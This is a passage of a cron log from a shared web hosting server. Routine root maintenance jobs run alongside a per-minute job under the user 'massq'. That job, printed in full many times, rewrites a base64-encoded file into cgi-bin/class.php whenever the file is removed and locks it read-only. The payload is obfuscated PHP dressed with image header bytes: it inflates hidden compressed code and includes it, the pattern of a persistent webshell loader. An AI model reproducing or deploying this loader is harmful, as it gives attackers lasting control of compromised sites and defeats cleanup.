NTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:04:01 server CROND[6814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:04:01 server CROND[6815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:04:01 server CROND[6816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:05:01 server CROND[7308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:05:01 server CROND[7312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:05:01 server CROND[7311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:05:01 server CROND[7315]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:05:01 server CROND[7314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:05:01 server CROND[7316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:05:01 server CROND[7319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:05:01 server CROND[7321]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:06:01 server CROND[8176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:06:01 server CROND[8178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:06:01 server CROND[8177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:07:01 server CROND[8567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:07:01 server CROND[8566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:07:01 server CROND[8570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:08:01 server CROND[8959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:08:01 server CROND[8961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:08:01 server CROND[8962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:09:01 server CROND[9349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:09:01 server CROND[9347]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 12:09:01 server CROND[9350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:09:01 server CROND[9348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:10:01 server CROND[9737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:10:01 server CROND[9739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:10:01 server CROND[9742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:10:01 server CROND[9745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:10:01 server CROND[9746]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:10:01 server CROND[9744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:10:01 server CROND[9748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:10:01 server CROND[9747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:11:01 server CROND[10825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:11:01 server CROND[10826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:11:01 server CROND[10827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:12:01 server CROND[11211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:12:01 server CROND[11212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:12:01 server CROND[11215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:12:01 server CROND[11213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:13:01 server CROND[11593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:13:01 server CROND[11594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:13:01 server CROND[11595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:14:01 server CROND[11993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:14:01 server CROND[11994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:14:01 server CROND[11995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:15:01 server CROND[12413]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:15:01 server CROND[12415]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 12:15:01 server CROND[12416]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:15:01 server CROND[12417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:15:01 server CROND[12425]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 12:15:01 server CROND[12447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:15:01 server CROND[12446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovK